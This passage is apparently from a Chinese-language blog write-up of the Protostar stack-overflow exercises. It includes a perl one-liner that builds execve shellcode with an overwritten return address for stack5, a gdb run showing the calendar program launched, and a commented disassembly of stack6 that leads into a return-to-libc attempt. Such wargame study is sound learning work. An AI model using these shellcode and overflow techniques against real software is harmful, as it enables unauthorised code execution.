&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#13: 8b 15 08 f8 ff bf       mov    edx,DWORD PTR ds:0xbffff808&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#19: cd 80                   int    0x80&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xbffff7fc:       0xbffff808 0x06198904&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xbffff80c: &#x2F;usr   &#x2F;bin   &#x2F;cal   0x00000000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;#0xbffff81c: 0xbffff7d0 &amp;lt;----TARGET!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;perl&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt; -e&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;print &amp;quot;\x90&amp;quot; . &amp;quot;\x90&amp;quot;x24 . &amp;quot;\x31\xC0\xA3\x08\xF8\xFF\xBF\xB0\x0B\xBB\x0C\xF8\xFF\xBF\xB9\x04\xF8\xFF\xBF\x8B\x15\x08\xF8\xFF\xBF\xCD\x80&amp;quot; . &amp;quot;\x08\xf8\xff\xbf\x06\x19\x89\x04&amp;quot; . &amp;quot;&#x2F;usr&#x2F;bin&#x2F;cal&amp;quot; . &amp;quot;\x00&amp;quot;x4 . &amp;quot;\xd0\xf7\xff\xbf&amp;quot;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ~&#x2F;test.in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;先是把第一个nop换成了0xcc，下了个中断调了下，果然有问题，偏移量计算的不对，所以多加了三个\x00做个补丁。总体还是很容易看的，al里放上0x0b然后填参数，调用int80h，相当于执行execve()。这个函数会把控制权交给ebx指向的字符串所确定的程序，也就是日历了。效果如下：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Starting&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; program: &#x2F;opt&#x2F;protostar&#x2F;bin&#x2F;stack5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ~&#x2F;test.in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Executing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; new program: &#x2F;usr&#x2F;bin&#x2F;ncal&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;     April&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2015&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Su&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;     5 12 19 26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Mo&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;     6 13 20 27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Tu&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;     7 14 21 28&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;We&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;  1  8 15 22 29&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Th&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;  2  9 16 23 30&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Fr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;  3 10 17 24&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Sa&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;  4 11 18 25&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;Program&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; exited normally.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;似乎是因为并没有覆盖到目标之外的栈帧，execve还帮助清理了上下文，所以并没有Segment Error。这种攻击方式似乎有时候会很无趣 ，毕竟能覆盖的区域不一定够。此外这个exp只能在gdb下用，因为gdb下的内存分布和一般的内存分布似乎并不一样。这个问题将在下面的这道题中给出一个解法。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;4&#x2F;27&#x2F;2015更新（这个人正在狂补大物，嗯）&lt;&#x2F;p&gt;
&lt;h4 id=&quot;level-6&quot;&gt;Level 6&lt;&#x2F;h4&gt;
&lt;p&gt;getpath函数，翻译过来大致是这样的：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; getpath&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;offset:0x08048484&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;08048484 55                     push   ebp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;08048485 89 e5                  mov    ebp,esp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;08048487 83 ec 68               sub    esp,0x68&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;allocated 0x68 on stack&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;0804848a b8 d0 85 04 08         mov    eax,0x80485d0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;0804848f 89 04 24               mov    DWORD PTR [esp],eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;08048492 e8 29 ff ff ff         call   0x080483c0 &amp;lt;printf@plt&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;input path please: &amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;*0x080485d0==&amp;quot;input path please: &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;08048497 a1 20 97 04 08         mov    eax,ds:0x8049720&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;0804849c 89 04 24               mov    DWORD PTR [esp],eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;0804849f e8 0c ff ff ff         call   0x080483b0 &amp;lt;fflush@plt&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; fflush&lt;&#x2F;span&gt;&lt;span&gt;(stdout)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F;0x08049720==stdout&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484a4 8d 45 b4               lea    eax,[ebp-0x4c]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484a7 89 04 24               mov    DWORD PTR [esp],eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484aa e8 d1 fe ff ff         call   0x08048380 &amp;lt;gets@plt&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; gets&lt;&#x2F;span&gt;&lt;span&gt;(ebp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4c&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;  &#x2F;&#x2F;result stored in ebp-0x4c, aka. esp+0x1c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484af 8b 45 04               mov    eax,DWORD PTR [ebp+0x4]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484b2 89 45 f4               mov    DWORD PTR [ebp-0xc],eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484b5 8b 45 f4               mov    eax,DWORD PTR [ebp-0xc]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484b8 25 00 00 00 bf         and    eax,0xbf000000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484bd 3d 00 00 00 bf         cmp    eax,0xbf000000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484c2 75 20                  jne    loc_080484e4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; these code checked the stack, and if return ptr is not &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;  modified, the program will jump to loc_080484e4, &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;  or will report an error.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; only when the execute code is in the stack, the system &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;  will work &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484c4 b8 e4 85 04 08         mov    eax,0x80485e4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484c9 8b 55 f4               mov    edx,DWORD PTR [ebp-0xc]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484cc 89 54 24 04            mov    DWORD PTR [esp+0x4],edx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484d0 89 04 24               mov    DWORD PTR [esp],eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484d3 e8 e8 fe ff ff         call   0x080483c0 &amp;lt;printf@plt&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;bzzzt (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;(ebp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;show the ret addr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484d8 c7 04 24 01 00 00 00   mov    DWORD PTR [esp],0x1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484df e8 bc fe ff ff         call   0x080483a0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; exit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;         &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;       loc_080484e4:                         &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484e4 b8 f0 85 04 08         mov    eax,0x80485f0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484e9 8d 55 b4               lea    edx,[ebp-0x4c]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484ec 89 54 24 04            mov    DWORD PTR [esp+0x4],edx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484f0 89 04 24               mov    DWORD PTR [esp],eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484f3 e8 c8 fe ff ff         call   0x080483c0 &amp;lt;printf@plt&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;got path &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ebp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4c&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484f8 c9                     leave  &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;080484f9 c3                     ret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;0 &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;| [esp=org_addr] ....&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;|      ....&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;| [esp+0x1c]     char input[0x40]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;|      ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;| [esp+0x5c]  void* v1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;|      ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;| [ebp=esp+0x68] OLD EBP     == 0xbffff818&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;| [esp+0x6c]   RETURN ADDR == 0x08048505&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;V &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;F &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;*&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;   &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自带保护……棒透了。那么显然没办法任意执行自己的代码了，不过，返回地址仍然是可以覆盖的。先断下来看看有没有什么可以用的东西吧（笑：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;gdb&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; func system&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;File&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; ..&#x2F;sysdeps&#x2F;posix&#x2F;system.c:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; __libc_system&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; int do_system&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;const&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; char&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;font-style: italic;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
